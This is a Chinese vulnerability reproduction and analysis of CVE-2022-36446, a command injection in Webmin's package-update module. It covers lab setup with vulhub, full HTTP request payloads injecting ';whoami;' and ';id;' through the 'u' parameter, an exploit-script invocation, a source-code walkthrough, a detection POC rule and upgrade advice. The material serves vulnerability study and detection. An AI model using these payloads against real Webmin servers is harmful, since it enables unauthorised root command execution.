0x01 漏洞介绍
漏洞等级:严重
Webmin 是功能最强大的基于 Web 的 Unix 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。在版本 1.997 之前的 Webmin 中存在一个任意命令注入漏洞,触发该漏洞需登录 Webmin。
0x02 漏洞影响范围
WebMin 版本小于 1.997
0x03 漏洞利用条件
- 此漏洞需身份验证;
- 并且该账户必须有权限访问软件包更新模块,需要访问'Software Package Updates'模块才能触发漏洞;
0x04 漏洞复现
环境搭建
-
使用 vulhub 搭建环境,把 vulhub 下载到本地。
-
进入 vulhub/webmin/CVE-2022-36446,使用此环境进行 CVE-2022-36446 漏洞复现。
docker-compose up -d # 启动漏洞环境
docker-compose ps # 查看漏洞环境映射的端口
-
访问
https://ip:10000,出现以下界面表示环境部署成功。 -
接下来需要修改 webmin 的密码,需要进入容器中修改。
docker ps # 查看漏洞环境容器 id
docker exec -it 容器 id /bin/bash # 进入容器内部
cd /usr/share/webmin/ # 进入容器内的/usr/share/webmin/目录下
./changepass.pl /etc/webmin root root # 将 root 密码设置为 root
漏洞复现
-
以上设置完之后,使用 root/root 登录 webmin。
-
抓取登录后的任意数据包。
-
发送到 Repeater 模块,更改请求方式为 POST。
-
更改请求路径为
/package-updates/update.cgi,添加 payload,发送请求,返回包中出现命令执行结果。
mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
Payload 示例:
POST /package-updates/update.cgi HTTP/1.1
Host: X.X.X.X:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-From: mount
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://X.X.X.X:10000/mount/?xnavigation=1
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow
EXP
也可直接通过脚本进行漏洞利用。
python3 CVE-2022-36446.py -t https://X.X.X.X:10000/ -u root -p root -k -I
有可能会出现以下报错,将 CVE-2022-36446.py 文件中的 soup = BeautifulSoup(r.content, 'lxml') 全部改为 soup = BeautifulSoup(r.content, 'html.parser'),再重新执行即可。
漏洞分析
命令执行:当应用需要调用外部程序处理某些内容的情况下,就会用到一些执行系统命令的函数,比如最常见的 php 中的 system、exec、shell_exec 等等。当用户可以控制命令执行函数中的参数时,就可以注入一些恶意的系统命令到正常的命令中,造成命令执行攻击。
Webmin 是目前功能最强大的基于 web 的 unix 系统管理工具,管理员通过浏览器访问 webmin 的各种管理功能并完成相应的管理动作。
Webmin 使用操作系统包管理器(apt、yum 等)来执行包更新和安装。由于缺乏输入清理(1.997 之前的 Webmin 中的 software/apt-lib.pl 缺少 UI 命令的 HTML 转义),可以注入将连接到包管理器调用的任意命令。
此漏洞需要身份验证,并且该账户必须有权限访问软件包更新模块,用户可以通过在新软件包安装期间执行系统命令,并以 root 权限运行命令。
该模块在 /package-updates/ 文件夹下开发。其中有一个 update.cgi 文件,该文件中第 39 行使用参数 U 指定用户的包名称,并在第 50 行检查请求中是否存在'confirm'参数。第 57 行,如果请求中没有'confirm'参数,就会调用带有变量'pkgnames'的'list_package_operations()'函数,其中存储了包名。
通过 /package-updates/update.cgi 文件的第 4 行可知道,'list_package_operations'函数位于'pakage-updates-lib.pl'文件中。
'list_package_operations()'函数定义于 pakage-updates-lib.pl 文件的第 408 行。此函数将'$name'的值(即包名)发送到第 412 行中名为 software 文件中的'update_system_operations()'函数。
再通过搜索功能找到定义 update_system_operations() 函数的文件为 apt-lib.pl 和 yum-lib.pl。顾名思义,apt-lib.pl 文件使用的是 apt 包,yum-lib.pl 文件使用的是 yum 包。两者所做的工作是相同的,但是因为运行 Webmin 的系统和该系统的包管理器不同,所以只是文件中的某些命令会不同,故分析哪个文件都可以。
查看 /software/apt-lib.pl 文件,在第 75 行定义了 update_system_operations() 函数。第 83 行,通过'backquote_command()'函数来执行系统命令,也是通过此函数对系统运行的命令进行安全控制,也防止用户在此注入命令。
再继续看 update.cgi 文件,如果需要安装一个包,则会调用第 129 行的'package_install()'函数。
通过查找,package_install() 函数位于'package-updates-lib.pl'文件中第 300 行。查看函数内容发现,'update_system_install()'函数是通过'$name'变量调用的,它是用户在第 345 行给出的包名(从之前的分析得出,这些函数是在 apt-lib.pl 文件中定义的)。
再查看 apt-lib.pl 文件,找到相关函数。
第 18 行看到函数的第一个参数(即用户之前发送的包名)被分配给'update'变量。第 26 行,'update'变量被包含在了命令中,而且没有做任何的控制机制。第 46 行发现,相关的命令会直接在系统上执行,也是没有做任何的控制机制。
所以,用户可以通过在新的软件包安装请求中提供'confirm'参数,并在软件包中指定在系统上运行命令的值,以 root 权限在系统上执行命令。
0x05 检测 POC 规则编写
params:
- mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
name: Webmin 命令执行漏洞(CVE-2022-36446)
set: {}
rules:
- method: POST
path: /package-updates/update.cgi
headers:
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
body: mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(b"root")
groups: {}
detail:
author: ""
links: []
description: ""
version: ""
0x06 漏洞修复
- 升级到 1.997 及以上版本
- 补丁获取


